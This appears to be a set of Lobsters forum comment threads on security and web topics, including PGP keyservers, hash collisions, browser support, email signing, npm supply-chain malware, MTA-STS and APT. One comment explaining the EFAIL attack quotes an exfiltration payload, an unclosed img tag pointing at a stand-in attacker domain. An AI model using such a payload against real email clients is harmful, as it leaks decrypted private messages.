1. 3

    I have no affiliation to the project but I posted this because it seems like a great solution to the on-going problems with the SKS network, particularly surrounding on-going privacy issues and the abuse of key metadata to post illegal content.

    The new keyserver seems to finally allow the deletion of keys—this is not possible with SKS—and also identity verification by email is finally supported. They seem to have clean separation for identity and non-identity information in keys and all in all it looks like a great evolution from SKS.

    1. 3

      Where do we learn more about the concerns around the SKS network? Sounds interesting and it helps build up point you present.

        1. 4

          The article has some interesting links, which I’ll post for convenience:

          The SKS Devel mailing list has actually had quite a few discussions about this too lately—a very small sample:

            1. 2

              The maintainer’s attitude in that first linked ticket is alarming. “The user isn’t supposed to trust us, so there’s no reason not to display bogus data.” Are you kidding me?!

              1. 1

                Yes, but the bigger problem is that even if they would want to change it SKS is without actual developers. There are people that maintain it by fixing small bugs here and there but the software is completely and utterly bug-ridden (I had the unfortunate “opportunity” to test it).

                https://keys.openpgp.org is not mind-blowing¹ but it’s basically a sane keyserver. To have something like this in 2019 shows only in what dire situation is PGP now.

                ¹ actually I think it’s lacking a little bit compared to “modern” solutions such as Keybase

                1. 2

                  Even the people that work developing GPG would agree that the situation is sort of bad. Real-world adoption of GPG is almost nil. Support of GPG, say by major email clients, is almost nil. The architecture with the trust model is ‘perfect’ but it’s not user-friendly. GPG-encrypted email traffic is almost not measurable. The code base is apparently a bit of a mess. It needs maybe a bit of funding and probably some less perfect, but more pragmatic and usable strategies of improving security.

                  1. 2

                    Agreed with what you said. I spent some time thinking about this and concluded that at the end the problem is mostly in tooling and UX, not inherent to GPG.

                    As an example: XMPP was described by Google as being “non-mobile friendly” and it took just one person to create a really good mobile XMPP client that can be used by regular people. (I’m using it with my family and it’s better than Hangouts!).

                    GPG too can be brought back from the dead but the effort to do that is enormous because there are multiple parties participating. But there are some good things happening, Web Key Directory, easy to use web clients, keys.openpgp.org

                    Why is it important to work on GPG instead of dumping it for Signal et al.? Because GPG is based on a standard, this is not a “product” that can be sunsetted when investors run away or a manager decides that something else is shiny now.

                    1. 2

                      Look at what keybase is doing. That’s what GPG should have been. Some keyserver that actually verifies things, so that when you get a key with an email address, you know that that email belongs to the person who uploaded the key, unlike the current model, where anyone can upload any key with any data.

                      The whole web-of-trust thing doesn’t help me when I want to get an email from some person overseas I have never met.

                      1. 2

                        That’s what GPG should have been. Some keyserver that actually verifies things, so that when you get a key with an email address, you know that that email belongs to the person who uploaded the key, unlike the current model, where anyone can upload any key with any data.

                        If I understood the idea correctly the submission is already what you propose (maybe you’re aware of that? Hard to tell through text alone…)

        1. 1

          I am an amateur, so maybe someone knowledgeable can chime in on this:

          Is there any value or additional security in using several insecure hashing algorithms together?

          For example, if I provide both a SHA1 hash and an MD5 hash for a file, how much more difficult is it to create a collision that satisfies both?

          1. 4

            My knowledge of this is also VERY vague but I think it’s something like, given two algorithms A and B, if you use them both in conjunction the cost of breaking them both is cost(A)+cost(B), whereas an algorithm C can give far better results with the same amount of data. If you had two algorithms that were just as good as SHA1 and produced two 160-bit hashes for a file, it would be 320 bits total and the cost of breaking them both would be 2 * cost_of_breaking_sha1. But if you used a single SHA256 hash (256 bits) instead the cost of breaking it would be, well, the cost of breaking SHA256, which merely based on the size of the key should be 2^96 times harder than breaking SHA1.

            Using more bad algorithms gets you a linear increase in difficulty at best, using a better algorithm should get you an exponential increase in difficulty.

            1. 3

              A combination of SHA1+MD5 is only marginally more secure than SHA1. Here’s someone explaining the math behind it: https://crypto.stackexchange.com/questions/36988/how-hard-is-it-to-generate-a-simultaneous-md5-and-sha1-collision

              That said: Why would you want to do that? Why use 2 insecure functions when you can just use a secure one?

              1. 1

                Mainly for backwards-compatibility. If a system uses SHA-1 for identifiers, you could keep doing that, and have an extra sanity check for raising red flags.

                Then again, you might as well use SHA3 for that sanity check, now that I think about it.

              2. 1

                I’m going to say no. When it comes to crypto, don’t try to be clever if you aren’t a crypto expert. Just do the simple thing and use the standard algorithms in the most direct and obvious way.

                1. 1

                  I’m also not an expert but this reminds me of Dave’s False Maxim on the Information Security Stack Exchange. Not 100% sure it applies although it’s still funny either way :P

                1. 18

                  This text doesn’t have a date, but given you sound like you just worte it before posting: No, please don’t make webpages compatible with IE.

                  I’m fine with the rest, of course please make webpages that are compatible, standards compliant and run in all modern browsers. Modern browsers, not deprecated browsers. IE is undeveloped for years, it has basically no security support, it’s bad. Making IE user’s life miserable is a good thing for the future of the web, because the sooner it’s miserable enought that they stop using it the better.

                  I want a web that’s not dominated by Google, but I also want a web that’s capable of getting new features and getting rid of cruft and insecurity.

                  1. 22

                    have to disagree, people rarely use it by choice.

                    you’re doing the equivalent of blaming a wheelchair user for requiring ramp.

                    1. 11

                      By supporting those legacy users, you are letting their businesses externalize the costs of not upgrading onto the rest of the web. A car analogy may help.

                      Imagine there’s a person who has a horse, and really likes the reins they put on the horse. They use the horse to get to town and do their errands. One day, cars arrive, and eventually get so cheap that people are just giving away cars. But, the owner has spent money on a picture of their horse and a saddle and by God they’re not just gonna throw away that investment in favor of some new-fangled car.

                      That’s all well and good, but the associated requirement to have every parking garage and restaurant provide a place to tie up the horse, have a trough for the horse to drink from, and have some way of dealing with the waste–all to support that one person–would rightly be mocked and pilloried.

                      And don’t even let’s get started on the engineering issues that limit how highways and streets and bridges must be built to accommodate the horse as well as cars that then degrade the performance of those things for car users.

                      All so that some jerk can hold on to Mr. Ed until they can recoup their investment at a glue factory.

                      1. 1

                        You are describing trying to achieve equal functionality for the horse rider, whereas all that is necessary is not disallowing them road access, and a reasonable allowance for graceful degradation, which is sooner or later necessary for humans walking the road anyway, aka other browsers you may not even be aware of. IE is a red herring in a sea of other browsers that lazy devs use as an excuse to not design properly, IMO. I use NN3 and Lynx as my accessibility baseline, and it has not hindered me a whole lot.

                        It is not business users who are using IE at this point, but elderly and disadvantaged, who don’t have the means to upgrade… and you are basically telling them to fuck off. It’s okay though, I’d wager you’re working on either CRUD or advertising anyway, so no big loss.


                        1. 2

                          It is not business users who are using IE at this point, but elderly and disadvantaged, who don’t have the means to upgrade… and you are basically telling them to fuck off.

                          How are we sure? For a good long time, the biggest users of IE were from pirated copies of Windows XP in China.

                          1. 0

                            Is there a good reason I would want to exclude users of pirated Windows XP from China in my website?

                            1. 2

                              If your complaint is “Think of the old people!” and the numbers suggest “well, it’s actually Chinese software pirates” you need to justify your position differently. Anyways, we’ve taken up enough space here.

                              1. 2

                                I don’t understand what you’re saying…

                                Is it that because the majority of IE users have been shown to be from China, it means there aren’t any elderly using IE?

                                Or that it’s OK to exclude Chinese IE users? Because they’re from China? Or because they’re using pirated Windows XP on their aged computers?

                                Or something else, besides that it’s OK to exclude certain users because writing for more than one browser is challenging, perhaps too difficult for you to figure out?

                                Or maybe that, since you’ve run out of arguments, this discussion should end automatically?

                                Could you please clarify?

                                1. 1

                                  If you’re against excluding users it hardly matters which users you might be excluding, since you don’t want to exclude any users. If you support excluding users their demographic matters a fair bit. In that context the differing opinions here make a lot of sense to me.

                                  1. 1

                                    I am definitely in the former camp. I think it is completely reasonable to expect being able to include most users, including no-JS, 5-year-old browsers, 10-year-old browsers, and that 486 you just dug out of the closet. Few bother to actually do it, but who cares?

                                    For example, this website could be accessible to users without JavaScript if only it was actually designed that way from the start, or, less efficiently, extended to support it and tested thorougly. But who cares? It’s all technically-minded people who can enable JS, and the JS is pretty light, so there are few complainers.

                                    But that is the difference between, for example, Hacker News, where upvoting something with JS disabled will send you to page that registers your vote and then redirects you to the same page plus an anchor pointing to the comment you voted on, and lobste.rs, where you get a disappointing lack of response.

                                    1. 6

                                      HN is the marketing arm of a firm worth billions.

                                      Lobste.rs is a community-run volunteer effort; I’m sure a pull request would be accepted.

                                      1. 2

                                        Good point. I’ll start looking.

                    2. 8

                      If you want to support all web users, make one version of your app with all the bells and whistles, and make sure that it works with all modern browsers. But, make another “light” version that works without JS or fancy CSS, and make it easy to fall back to that. The “light” version will work on IE as well as other old or weird browsers, and the main version can lose cruft and use newer browser features with less effort. The “light” version should be easy to maintain. It only needs to support essential app functionality, in the most boring way possible.

                      I know, many developers can’t just decide to do this. But it’s an option that decision makers should be aware of: show them Gmail’s “Basic HTML” version, for example.

                      1. 13

                        If you build the light version first, and then add the bells and whistles, much happiness will come your way.

                        1. 9

                          Agree. For those who wasn’t working in the field 10 years ago when this was cool, here is some more info: https://en.m.wikipedia.org/wiki/Progressive_enhancement

                          My attempt at summarizing it: Javascript only allowed to simplify stuff that will work anyways without Javascript. E.g. you start by coding a plain html dropdown and then add JS to swap it for an autocomplete if the browser supports it. Of course this also goes for styling, it should be OK in the oldest supported browser but it is ok to add more advanced CSS for browsers who support it.

                        2. 4

                          I just submitted a good example of that in response to this comment.

                          1. 2

                            It’s worth pointing out that Gmail’s Basic HTML is amazing and much better than their “nice” UI in my opinion.

                        1. 17

                          The problem is we have two bad solutions, but bad for different reasons. None of them works transparently for the user.

                          GnuPG was built by nerds who thought you could explain the Web of Trust to a normal human being. S/MIME was built to create a business model for CAs. You have to get a cert from somewhere and pay for it. (Also for encryption S/MIME is just broken, but we’re talking signatures here, so…) And yeah, I know there are options to get one for free, but the issue is, it’s not automated.

                          Some people here compare it to HTTPS. There’s just no tech like HTTPS for email. HTTPS from the user side works completely transparently and for the web admin it’s getting much easier with ACME and Let’s Encrypt.

                          1. 7

                            We don’t need WoT here though. WoT exists so you can send me a signed/encrypted email. Nice, but that’s not what’s needed here.

                            1. 3

                              Of course you need a some measure of trust like a WoT or CA because how else are you going to verify that the sender is legitimate? Without that you can only really do xkcd authentication.

                              1. 5

                                Yes, you need some way to determine what you trust; but WoT states that if you trust Alice and I trust you, then I also trust Alice, and then eventually this web will be large enough I’ll be able to verify emails from everyone.

                                But that’s not the goal here; I just want to verify a bunch of organisations I communicate with; like, say, my government.

                                I think that maybe we’ve been too distracted with building a generic solution here.

                                Also see my reply to your other post for some possible alternatives: https://lobste.rs/s/1cxqho/why_is_no_one_signing_their_emails#c_mllanb

                                1. 1

                                  Trust On First Use goes a long way, especially when you have encrypted (all its faults nonewithstanding) and the communication is bidirectional as the recipient will notice that something is off if you use the wrong key to encrypt for them.

                              2. 1

                                Also for encryption S/MIME is just broken

                                It is? How?

                                1. 2

                                  The vulnerability published last year was dubbed EFAIL.

                                  1. 1

                                    Gotcha. Interesting read. I’ll summarize for anyone who doesn’t want to read the paper.

                                    The attack on S/MIME is a known plaintext attack that guesses—almost always correctly—that the encrypted message starts with “Content-type: multipart/signed”. You then can derive the initial parameters of the CBC encryption mode, and prepend valid encrypted data to the message, that will chain properly to the remainder of the message.

                                    To exfiltrate the message contents you prepend HTML that will send the contents of the message to a remote server, like an <img> tag with src="http://example-attacker-domain.com/ without a closing quote. When the email client loads images, it sends a request to the attacking server containing the fully decrypted contents of the message.

                                    S/MIME relies on the enclosed signature for authenticity AND integrity, rather than using an authenticated encryption scheme that guarantees the integrity of the encrypted message before decryption. Email clients show you the signature is invalid when you open the message, but still render the altered HTML. To stop this attack clients must refuse to render messages with invalid signatures, with no option for user override. According to their tests, no clients do this. The only existing email clients immune to the attack seem to be those that don’t know how to render HTML in the first place.

                                    The GPG attack is similar. Unlike S/MIME, GPG includes a modification detection code (MDC). The attack on GPG thus relies on a buggy client ignoring errors validating the MDC, like accepting messages with the MDC stripped out, or even accepting messages with an incorrect MDC. A shocking 10 out of 28 clients tested had an exploitable form of this bug, including the popular Enigmail plugin.

                              1. 1

                                If this is similar in severity to Poodle, does that mean all CBC ciphers are doomed?

                                This will be a major problem for many users, since (AFAIK) this will disable usage of TLS below 1.2. It would be nice if someone could clarify :)

                                1. 3

                                  These are implementation flaws, but they’re caused by a spec that’s hard to get right.

                                  You can implement CBC mode in a secure way. It’s complicated. The underlying vuln is known since 13 years and people still don’t implement it correctly.

                                1. 1

                                  This doesn’t sound convincing. We know that all those legacy RNGs are shitty and we should use CSRNGs. They compare themselve to plenty of known bad algs and then say theirs is better, where only one of the ones in the table is actually serious (ChaCha20).

                                  They say Prediction Difficulty of their construction is “Challenging”, while for ChaCha20 it’s “Secure”. Doing a quick skimming of the page I don’t find an explanation what “Challenging” means, but it sounds to me like “not really secure”. The downsides of ChaCha20 they imply are questionable. They say it’s “Fairly Slow”, I beg to disagree. I really don’t care about 0,1 kb space usage. “Complex” is somewhat of an argument, but if I need a bit of complexity to get proper security I’ll take it.

                                  1. 1

                                    This doesn’t sound convincing. We know that all those legacy RNGs are shitty and we should use CSRNGs. They compare themselve to plenty of known bad algs and then say theirs is better, where only one of the ones in the table is actually serious (ChaCha20).

                                    She compares the algorithms with other popularly used algorithms. You might think that ‘all those legacy RNGs are shitty’ and that ‘we’ should use CSPRNGs, but you don’t speak for everyone, and there are lots of good reasons to not use CSPRNGs.

                                    They say Prediction Difficulty of their construction is “Challenging”, while for ChaCha20 it’s “Secure”. Doing a quick skimming of the page I don’t find an explanation what “Challenging” means, but it sounds to me like “not really secure”.

                                    You can’t claim something is secure until it’s been thoroughly tested, but there’s no evidence that PCG is any less secure than ChaCha20.

                                    The downsides of ChaCha20 they imply are questionable. They say it’s “Fairly Slow”, I beg to disagree. I really don’t care about 0,1 kb space usage. “Complex” is somewhat of an argument, but if I need a bit of complexity to get proper security I’ll take it.

                                    You can’t disagree with facts. ChaCha20 literally is slow. And you might not care about the space usage, but others do. And you don’t need the complexity, that’s pretty much the whole point of PCG.

                                  1. 3

                                    Ideally, all these custom allocators would be updated to include ASAN support - you can mark any allocated memory as ‘allocated, but poisoned as far as ASAN is concerned’.

                                    1. 4

                                      I’m not sure this is the best way.

                                      Some of these applications (including Apache) have Valgrind support. Which well, works for Valgrind, which was once the tool to use for these things, but it’s clearly outperformed by ASAN today.

                                      It seems like a better approach to just have a “make every allocation a real call to malloc” mode, which will work for all current and future tools in that space.

                                    1. 9

                                      This has a problem that may not be immediately obvious: As soon as one of your passwords gets breached you have a public hash of your master password in public that can be attacked via brute force. So one brute forced password leads to access to all of your accounts.

                                      Thus unless your master password is extremely secure (impractical to be bruteforced) this whole concept is very risky.

                                      I wouldn’t recommend such a scheme.

                                      1. 4

                                        I think more problematically even, this scheme also prevents users from effectively changing their passwords on websites where databases get breached & passwords exfiltrated.

                                        To change that password, you have to change the “master” password (or, more realistically, have 2 master passwords) and remember that again.

                                        It doesn’t seem very effective for keeping people safe in the real world.

                                        1. 2

                                          Not true, each password has a “version” which I believe does something like tack on a version number to the scrypt input. A more robust way to do it would be to iterate a random salt input, or to use a one-way hash function on a KDF chain (similar to key ratcheting).

                                          1. 3

                                            The user would now have to remember a version for each website then instead, doesn’t sound very practical. Unless you store it but then the premise of this kinda flies out the window.

                                            1. 1

                                              No, the app remembers it. JS localStorage or similar. Not sure how the other version (ios, etc) handle it.

                                              1. 4

                                                Yes, but as mentioned; this throws out the part that the app doesn’t store anything.

                                                1. 2

                                                  Compute secure passwords without storing them [passwords] anywhere

                                                  You still have to store the web sites configuration somewhere (Password length, required character, version, etc).

                                                  1. 3

                                                    I don’t think in that case you win anything significant over storing the password itself. Using a password database, you can also use custom passwords (ie when you import old passwords or are given passwords) and with a strong vault password it should have equivalent security.

                                            2. 1

                                              So I guess you end up tacking a number to the end of your password and get to remember that, per site. I guess that’s not too bad, but I still wouldn’t call it great.

                                          2. 1

                                            One would have to know that such a scheme is being used to begin to attempt attacking it though which is likely never the case for general website passwords.

                                            1. 3

                                              Unless you see every “required” character in the first characters of a password, until they fix that bug (unless I’m wrong that it works like that, I only read it quickly).

                                              Any password solution which get less robust the more popular it is, is a bad one.

                                          1. 2

                                            Only 23.4% of respondents even remembered seeing checksums on websites they had used in the past. Only 5.2% of respondents select the correct answer (out of six possible options including ‘not sure’ and ‘other’) when asked what checksums were for.

                                            I doubt these numbers, they seem far too high to me if they chose “average users”.

                                            In any case there’s a very simple answer to all of this: Use HTTPS(+HSTS) everywhere and ignore the checksums.

                                            The idea of extending SRI to downloads has some merit in case the downloads are hosted separately on a less trusted host. But that’s a more obscure scenario. HTTPS does 99% of what you want to do with checksums and works without any extra user interaction.

                                            1. 1

                                              The idea of extending SRI to downloads has some merit in case the downloads are hosted separately on a less trusted host.

                                              Websites pulling in 3rd party content and JS is getting more common every day.

                                            1. 27

                                              I think people talking about inspecting the source before installing dependencies are being unreasonable to some degree.

                                              1. The malicious code was present only in the minified version of the code. I suppose the red flag that tipped the reporter was the lack of history/popularity of the repository in question, but it doesn’t have to be like that
                                              2. It can be released to npm in a way that’s not evident to casually browsing the github repo
                                              3. There isn’t even any guarantee that the code on npm matches what’s on github at all

                                              Meaning the ways to be safe are:

                                              1. Hand-inspect the code in your node_modules directory (including — or especially— those that may be minified); or
                                              2. Don’t use npm at all.

                                              I don’t see these people (nor myself) doing either. From which it follows:

                                              Any company desiring to buy into the so-called “modern” front end development (be it for productivity, performance or hiring purposes) does so by making itself vulnerable to attacks such as this.

                                              I don’t know if that’s a reasonable price to pay to use, say, React, but it sure isn’t reasonable to me to pay that to use Node (versus, say, Golang, which can reasonably be used to build the same kinds of apps using little more than the standard library).

                                              1. 21

                                                The malicious code was present only in the minified version of the code. I suppose the red flag that tipped the reporter was the lack of history/popularity of the repository in question, but it doesn’t have to be like that

                                                One more reason for reproducible builds… minified JS should be treated like compiled code and automated mechanisms should check if it matches the unminified version…

                                                1. 6

                                                  This, a thousand times this. I can’t comprehend the reasoning that goes into committing derived code into source control. It’s a pain to remember to update it every time you commit, it’s hard to verify the code matches the original source and just pollutes the history. Diffing is mostly undoable too.

                                                  1. 3

                                                    I think the reasoning is to avoid build dependency. For some time, it was a usual practice to include Autoconf-derived configure script in release artifacts, so that users can avoid installing Autoconf.

                                                    1. 1

                                                      Yeah, that’s annoying too (and a lot of projects still do it even though it’s not really good practice), but at least configure scripts don’t tend to/need to change with every single code change like these minified files do.

                                                      1. 1

                                                        generated autoconf configure scripts are pretty easy to read, I can say there were times I preferred them over the m4 source.

                                                  2. 11

                                                    It would be really nice if the package repositories (npm/pypi/rubygems/etc) did something:

                                                    • try to automatically detect obfuscated code
                                                    • stop letting maintainers upload packages from their dev machines, make sure any compilation happens on a public CI environment from a known git tag (this would also encourage non-compiled packages, i.e. just direct snapshots of git tags)
                                                    • have some popularity threshold for packages beyond which manual review from a trusted group of reviewers is required for each new release
                                                    • (also why not require the git tags to be gpg signed for these popular packages)
                                                    • maybe rethink the whole package handover thing, maybe only allowing “deprecation in favor of [a fork]” (i.e. requiring every update to be manual) is good
                                                    1. 3

                                                      I wouldn’t even check the node_modules output either as package installation can execute arbitrary code (node-gyp, other node bindings producing code)

                                                      1. 4

                                                        I agree with you!

                                                        People seems to like to hit on npm, but I don’t see how the core issue is different than say Pypi, Cargo or Go (Other than the issues you raised). I personnaly take easy and simple dependancies management over C/C++ fragmented package management because most of my project are not security critical anyway or my threat model doesn’t include targeted code injection in my stack.

                                                        I find it annoying when people look at those issues and some fault is put on the maintainers. Maybe the issue is not that one of your application’s thousands of dependancies compromition, but the fact that your risk management for your wallet application relies on thousands of unvetted dependancies…

                                                        Meaning the ways to be safe are:

                                                        I guess a first start would be to gather a bunch of useful and common repositories and ensure they and all their dependancies are well vetted and signed by the maintainers for each release and prevent any new dependancies from being pulled in without proper review and ensuring those dependancies use the same process. Documenting and enforcing such process for a subset of widely used dependancies would allow to trust a few organization and avoid to code review any dependancies I pull in in my own project. I guess most distribution core repositories has similar process like Arch maintained packages vs AUR.

                                                        1. 8

                                                          Pypi absolutely has the the same potential issues, though in practice I think the dependency trees for popular projects are way smaller than what you get in the node ecosystem. So you’re much less likely to be hit by a transitive vulnerability. To me this is one of the advantages of a fairly comprehensive standard library, and a relatively small number (compared to node, at least) of popular, high quality third-party libraries that get a lot of eyeballs.

                                                          1. 11

                                                            On top of that, a lot of Python code is deployed to production by system engineers. Often it’s vetted, built, tested and baked in by distributions - and the same is true for other non-web languages.

                                                            javascript, on the other hand, is more often deployed by the upstream developer and thrown at web browsers straight away without any 3rd party review.

                                                            1. 3

                                                              Definitely! But that somehow happened to be this way. It would be nice to look at the social side as to why Python ended up this way while nothing prevented it from ending up like NPM. Maybe some key aspect of the tooling drive the trend one way or the other or it might be just the community (Python being much older and the tooling has seen a lot of changes over the years).

                                                              I would be looking forward to a someone doing a graph analysis of a few package repositories across languages and find some way to rate them and put some risk on packages. How many and how deep does their dependancies go? How many of them are maintained by external maintainer? Sounds like I found myself a new week-end project…

                                                              1. 12

                                                                Python has a decent class library. Good libraries that have general use migrate back into that class library, in some fashion or another. Thus, third party libraries don’t have to have long dependency chains to do anything.

                                                                What NPM forgot was that this was the fundamental idea that made package management useful. This stretches back to the early days of Java, at least, and I’m sure you can find other similar examples. By having a rich class library which already provides most of what you need, you’re simply going to layer on dependencies to adapt that framework to your specific business needs. Java, .NET, Ruby, Python- they all have that going for them. JavaScript simply does not. So half the Internet unwittingly depends on leftpad because a dependency of a dependency of a dependency needed it, and there wasn’t anything in the core library which could do it.

                                                                1. 1

                                                                  Maybe some key aspect of the tooling drive the trend one way or the other or it might be just the community (Python being much older and the tooling has seen a lot of changes over the years).

                                                                  I think this is a big part of it — Python’s tooling is generally less capable than the Node ecosystem’s.

                                                                  To this day Pip doesn’t have a dependency resolver, so the result of installing a dependency tree with conflicts at the transitive dependency level isn’t an error, but an arbitrary version getting installed. You can only have a single version of a Python module installed, too, because they are global state. Contrast with how npm has historically (still does?) install multiple versions of a package, effectively vendoring each dependency’s dependency tree, transitively.

                                                                  Additionally, publishing Python packages has long been messy and fraught. Today there is decent documentation but before that you were forced to rely on rumors, hearsay, and Stack Overflow. Putting anything nontrivial on PyPI (e.g., a C extension module) is asking for a long tail of support requests as it fails to install in odd environments.

                                                                  I think the end result was a culture that values larger distributions to amortize packaging overhead. For example, the popular Django web framework long had a no-dependencies policy (if dependencies were required, they were vendored — e.g. simplejson before it entered the standard library).

                                                                  Regardless of the reasons for it, I think that this is healthier than the Node culture of tiny dependencies with single contributors. More goes into distributing software than just coding and testing — documentation, support, evangelism, and legal legwork are all important — but tiny libraries have such limited scope that they’ll never grow a social ecosystem which can persist in the long term (of course, even Django has trouble with that).

                                                                  1. 1

                                                                    You can only have a single version of a Python module installed, too, because they are global state.

                                                                    That’s actually a pretty good point I think. I have fought myself a few time against Pip due to conflicting versions. It does benefits library with fewer dependancies.

                                                              2. 1

                                                                While I’m not generally a fan of it, I think minimal version selection that’s planned for the future go package manager would make this attack spread much more slowly.

                                                            1. 1

                                                              The practical risk is relatively low, because exploitation of Spectre-like vulns is exceptionally complicated. But there’s a bad feeling nevertheless. Yet we end up having mitigations that are both insufficient (none of the mitigations available prevents all spectre variants) and too expensive to be acceptable (see also recent linux kernel discussions).

                                                              However it’s not even a new situation, we have a bunch of vulns that are not really fixed, yet hard enough to exploit that we feel it doesn’t matter. Rowhammer has been mentioned, but there’s also less well known stuff like TIME/HEIST that basically breaks the security guarantees of TLS if you use HTTP compression, yet noone wants to disable compression, because the performance advantage is just too high.

                                                              1. 12

                                                                In a nutshell, MTA Strict Transport Security (mta-sts) is a mechanism to publish SMTP security policies via DNS and HTTPS. DNS is used to publish an id that is changed whenever the policy changes, and HTTPS to publish the policy itself. The policy covers:

                                                                • whether MTAs sending mail to this domain can expect PKIX- authenticated TLS support

                                                                • what a conforming client should do with messages when TLS cannot be successfully negotiated

                                                                An SMTP security policy is itself a good idea. It solves problem of a MITM stripping the STARTTLS option during initial negotiation, or at least warns the sending MTA that there’s something wrong and what to do if a TLS sessions can’t be created.


                                                                It’s the requirement to publish the policy via https I find at best odd. I don’t see a good justification in the RFC for this “mechanism” to require a web server in addition to DNS. Yes, I get it. DNS records can only be so long, yet we have protocols like SPF and DKIM that function just fine without a web server.

                                                                In the RFC, MTA-STS is described as an alternative to DNSSEC, but it doesn’t solve the problem of unsigned DNS records. While the policy itself is served via https from a web server that must present a valid certificate, the mechanism still depends on DNS. The policy is published at a well-known location, at a well-known Policy-Host name resolved by DNS. So you have two required components of the mechanism that require DNS.

                                                                There’s no way to implement this mechanism without DNS look-ups, so it’s not a secure alternative to DNSSEC. It’s just an alternative.

                                                                One might think speed and efficiency are the reason. Perhaps https (or more likely http2) are faster than DNS, but like HSTS, the policy is meant to be cached. Policy invalidation is handled by DNS look-ups that return the Policy ID which indicates the current policy is no longer current. Trading speed (assuming http/2 are faster than DNS) for a one-time look-up and then going back to DNS for invalidation look-ups makes little sense.

                                                                Lastly, it deviates from other SMTP policy mechanisms like SPF, DKIM, and DMARC which all rely on DNS. That alone is a strong argument for not adding a web server to host the policy.


                                                                I’m left scratching my head. Requiring a web server to host the MTA-STS policy seems like a gratuitous addition, using two protocols to serve the purpose of one. And worse, complicating SMTP daemons everywhere. To implement this mechanism, SMTP daemons can no longer rely on the OS resolver. They need a minimal https client. More code paths. More opportunities for failure.

                                                                Further Reading: Introducing MTA Strict Transport Security (MTA-STS)

                                                                1. 2

                                                                  Oh, yeesh. I’ve only followed development of STS to the extent I knew it was a thing. No idea about the web server aspect. That’s weird. Good commentary.

                                                                  1. 1

                                                                    Looks like what they’re going for is being secure against spoofing the policy, even if it’s not possible to protect against completely stripping it (when not cached). Yeah, a bit weird – if someone mitms DNS, removing the header would be enough.

                                                                    1. 1

                                                                      The reason HTTPS is used is that the policy is validated with a TLS certificate. The whole thing has been introduced to have an alternative to DNSSEC-based mechanisms, because DNSSEC exists since more than a decade and hasn’t been adopted.

                                                                      Many people who are used to how things are done in E-Mail and DNS scratch their heads and don’t understand MTA-STS, because it’s doing things differently. They use HTTPS because HTTPS works and is successful. It is a good idea to use a security mechanism that works and build something on top of it.

                                                                      1. 3

                                                                        I think the question is more about the http part of https and not the s part.

                                                                    1. 4

                                                                      The fact that it’s posted on Vixra alone makes this quite suspicious.

                                                                      (For those who don’t know: Vixra is kinda a competing service for Arxiv, which is a popular preprint service. While Arxiv has some basic quality controls, Vixra has none - which means it’s the favorite publication destination for free energy fans, ufologists and the likes.)

                                                                      1. 2

                                                                        Vixra is kinda a competing service for Arxiv

                                                                        Wow, no kiddding… it’s literally Arxiv backwards.

                                                                      1. 2

                                                                        Before everyone jumps on the “bad google” hype: A few things here appear a bit odd to me.

                                                                        Within the text the author speculates that another subdomain of his domain could be the reason for trouble (“Now it could be that some other hostname under that domain had something inappropriate”), and then continues to argue why he thinks it would be a bad thing for google to blacklist his whole domain.

                                                                        Sorry to say this, but: If it’s on your domain then it’s your responsibility. If you’re not sure if some of your subdomains may be used for malware hosting then please get your stuff in order before complaining about evil Google. It’s widespread to regard subdomains as something to not care too much about - as can be seen by the huge flood of subdomain takeover vulns that are reported in bugbounty programs - but that doesn’t mean that it’s right.

                                                                        1. 7

                                                                          On shared hosting services it’s pretty common to only have control over subdomains.

                                                                          Think of github as a modern days example: you have no control over what is served on malware-friends.github.io

                                                                          1. 4

                                                                            Technically, friends.github.io is its own domain, not just a sub domain.

                                                                            github.io is on the public suffix, which makes it an effective top-level domain (eTLD).

                                                                            1. 7

                                                                              Correct me if I am wrong but from what it looks like, this list doesn’t mean anything in terms of DNS and is just a community maintained text file. Does Google actually review this file before marking domains as bad? I really doubt it because then spammers would just use domains on that list.

                                                                              1. 1

                                                                                Good point!

                                                                                I was just looking for a familiar example, but actually the PSL might be the root of the issue faced by the author.
                                                                                It reminds me of the master hosts file originally maintained at Stanford: shouldn’t that info be handled at DNS level?

                                                                                1. 1

                                                                                  What do I do if I want to make a competitor to GitHub Pages? Do I have to somehow get big and important enough to have my domain end up on the public suffix list before I can launch my service?

                                                                                  What if I want to make a self-hosted GitHub Pages alternative, where users of my software can set it up to let other people use my users’ instance? Do all users of my software have to make sure to get their domain names into the public suffix list?

                                                                                  1. 2

                                                                                    No, you have to spend four minutes reading the (very short) documentation that covers how to get on the list, open a PR adding your domain to their repo, and set a DNS record on the domain linking to the PR.

                                                                                    It might even have been quicker to read the docs than to type out the question and post it here.

                                                                                    1. 1

                                                                                      You do not have to be big. adding yourself to the list is a pull request in which you must bbe able to prove domain ownership.

                                                                                      If you want browsers to consider a domain aan effective TLD, you have to tell them.

                                                                              1. 3

                                                                                The author seems to think that second preimage attack and collission attack are the same. They’re not.

                                                                                Second preimage attack: Given a hash function H and an input X find Y so that H(X)=H(Y) and X!=Y.

                                                                                Collission attack: Given only a hash function find X, Y so that H(X) = H(Y).

                                                                                This is a major difference. There are plenty of hash functions that are vulnerable to the second, but not the first (most notably MD5, SHA1).

                                                                                1. 1

                                                                                  My bad, thank you for pointing that out! I’ll update the post.

                                                                                1. 3

                                                                                  I find it interesting that he starts with Google as an example.

                                                                                  If I had to name a company which has a product that is relatively simple in technical terms a search engine would certainly not be on top of my list. It seems relatively obvious to me that creating a good search engine is a tough achievement. Sure, creating some kind of search engine is probably easy - but then you end up with another Bing, not another Google.

                                                                                  1. 3

                                                                                    I’m sure Bing has well over a thousand people working on it too. I think it’s a respectable effort – it must be the second best search engine AFAICT.

                                                                                    FWIW I joined Google when it had around 3,000 employees, in early 2005. So this was 6 months after GMail came out, but before Google Maps came out, so Google was still a search engine.

                                                                                    I remember my former coworkers asking why the company was so damn big. They thought it should be like 50 engineers and 50 non-technical people. It was just a website with a box, so how hard can it be?

                                                                                    I don’t think their reaction was stupid, as I think pretty much everybody thought that at the time. Certainly it was a shock to see how much technology there was behind the scenes.

                                                                                    1. 2

                                                                                      Bing is actually quite good; it’s probably only about 3-4 years behind Google & you’ll recall that Google was still pretty damn good 4 years ago. DDG may be a better example of an 80% search engine ;-p

                                                                                    1. 9

                                                                                      I have a few problems with this. The short summary of these claims is “APT checks signatures, therefore downloads for APT don’t need to be HTTPS”.

                                                                                      The whole argument relies on the idea that APT is the only client that will ever download content from these hosts. This is however not true. Packages can be manually downloaded from packages.debian.org and they reference the same insecure mirrors. At the very least Debian should make sure that there are a few HTTPS mirrors that they use for the direct download links.

